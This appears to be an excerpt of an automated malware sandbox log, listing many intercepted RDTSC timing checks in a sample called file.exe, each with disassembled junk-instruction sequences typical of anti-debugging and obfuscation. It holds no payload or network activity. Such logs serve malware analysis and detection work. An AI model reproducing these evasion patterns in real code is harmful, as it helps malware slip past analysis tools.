Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B52F5 second address: 11B5302 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEDA531E8C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B543E second address: 11B5442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4A2B second address: 11B4A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEDA531E8C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FEDA531E8C6h 0x00000012 jmp 00007FEDA531E8CEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4A4B second address: 11B4A4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5770 second address: 11B5779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5779 second address: 11B577D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B58DA second address: 11B58E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B58E0 second address: 11B58E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B58E4 second address: 11B58EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B58EA second address: 11B58F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B58F0 second address: 11B58F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B58F6 second address: 11B58FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5A4D second address: 11B5A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5A51 second address: 11B5A59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5A59 second address: 11B5A60 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9792 second address: 11B979E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEDA51D0EB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B979E second address: 11B97A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177419 second address: 117741E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177776 second address: 1177791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA531E8D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177AF3 second address: 1177B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEDA51D0EC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1178396 second address: 11783AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEDA531E8C6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jbe 00007FEDA531E8D8h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11783AC second address: 115C6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EBAh 0x00000009 popad 0x0000000a nop 0x0000000b and edx, 7935C311h 0x00000011 call dword ptr [ebp+122D24C2h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9A61 second address: 11B9A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9A6C second address: 11B9A70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9A70 second address: 11B9A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEDA531E8C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FEDA531E8CCh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9A94 second address: 11B9A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9A9B second address: 11B9AB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jg 00007FEDA531E8C6h 0x0000000b jmp 00007FEDA531E8D0h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9AB8 second address: 11B9AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEDA51D0EBCh 0x0000000c jmp 00007FEDA51D0EBCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9D60 second address: 11B9D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9EA1 second address: 11B9EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EBDh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9EB7 second address: 11B9ED0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FEDA531E8CEh 0x00000011 pushad 0x00000012 popad 0x00000013 ja 00007FEDA531E8C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA42A second address: 11BA43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 popad 0x00000008 push ecx 0x00000009 pushad 0x0000000a jc 00007FEDA51D0EB6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE84C second address: 11BE859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE859 second address: 11BE868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EBBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE868 second address: 11BE86C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE86C second address: 11BE8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EC9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c je 00007FEDA51D0EB6h 0x00000012 jmp 00007FEDA51D0EC7h 0x00000017 pop ecx 0x00000018 push ebx 0x00000019 jc 00007FEDA51D0EB6h 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 pop ebx 0x00000022 popad 0x00000023 push ebx 0x00000024 jmp 00007FEDA51D0EC2h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FEDA51D0EC5h 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE8E1 second address: 11BE8E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E423 second address: 113E43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA51D0EC2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E43B second address: 113E440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E440 second address: 113E461 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FEDA51D0EC9h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4E0B second address: 11C4E20 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEDA531E8CFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4F94 second address: 11C4FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEDA51D0EC0h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C75B9 second address: 11C75E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8CBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnp 00007FEDA531E8C6h 0x00000012 jmp 00007FEDA531E8D3h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE055 second address: 11CE08F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBAh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FEDA51D0ECDh 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jp 00007FEDA51D0EB6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE08F second address: 11CE095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE095 second address: 11CE0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEDA51D0EC3h 0x0000000c jmp 00007FEDA51D0EBCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE1F4 second address: 11CE20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FEDA531E8CFh 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177D39 second address: 1177D68 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007FEDA51D0EB6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e jg 00007FEDA51D0EBCh 0x00000014 pop ecx 0x00000015 nop 0x00000016 mov edi, dword ptr [ebp+122D3A95h] 0x0000001c push 00000004h 0x0000001e mov edx, dword ptr [ebp+122D37BDh] 0x00000024 nop 0x00000025 pushad 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177D68 second address: 1177D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEDA531E8D7h 0x00000009 popad 0x0000000a je 00007FEDA531E8CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177D8C second address: 1177DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEDA51D0EC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE3B4 second address: 11CE3B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE513 second address: 11CE51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE51B second address: 11CE52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FEDA531E8C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE52A second address: 11CE550 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEDA51D0EBBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c je 00007FEDA51D0EB6h 0x00000012 pushad 0x00000013 popad 0x00000014 jno 00007FEDA51D0EB6h 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1C0B second address: 11D1C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D63B8 second address: 11D63BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D63BE second address: 11D63F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007FEDA531E8D1h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEDA531E8D8h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D56B9 second address: 11D56DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FEDA51D0EBEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5A92 second address: 11D5ADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA531E8D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FEDA531E8CDh 0x0000000f jmp 00007FEDA531E8CAh 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FEDA531E8D4h 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5ADE second address: 11D5AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5AE2 second address: 11D5B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b jmp 00007FEDA531E8D7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5B06 second address: 11D5B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FEDA51D0EB6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5B13 second address: 11D5B17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5B17 second address: 11D5B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEDA51D0EC6h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5B38 second address: 11D5B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEDA531E8D9h 0x0000000e jo 00007FEDA531E8C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE97B second address: 11DE981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCA3D second address: 11DCA50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007FEDA531E8C8h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCA50 second address: 11DCA70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCD27 second address: 11DCD42 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEDA531E8DDh 0x00000008 jmp 00007FEDA531E8D1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD054 second address: 11DD059 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD059 second address: 11DD07D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEDA531E8CCh 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FEDA531E8CEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD07D second address: 11DD0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FEDA51D0EC7h 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 push esi 0x00000017 pop esi 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD0AC second address: 11DD0B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD0B0 second address: 11DD0BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FEDA51D0EBCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD826 second address: 11DD82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDE22 second address: 11DDE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007FEDA51D0EB6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDE32 second address: 11DDE36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE0E9 second address: 11DE0F3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEDA51D0EBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE6C5 second address: 11DE6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1B2F second address: 11E1B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1B35 second address: 11E1B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1B3A second address: 11E1B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FEDA51D0EB6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1C89 second address: 11E1C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007FEDA531E8C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1C95 second address: 11E1CA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1CA3 second address: 11E1CA8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1E03 second address: 11E1E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEDA51D0EB6h 0x0000000a popad 0x0000000b jmp 00007FEDA51D0EC3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1FD1 second address: 11E1FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2173 second address: 11E2179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E26C6 second address: 11E26CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E26CC second address: 11E26D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8AAC second address: 11E8AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8AB2 second address: 11E8ACC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEDA51D0EC6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8ACC second address: 11E8AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FEDA531E8C6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007FEDA531E8CAh 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
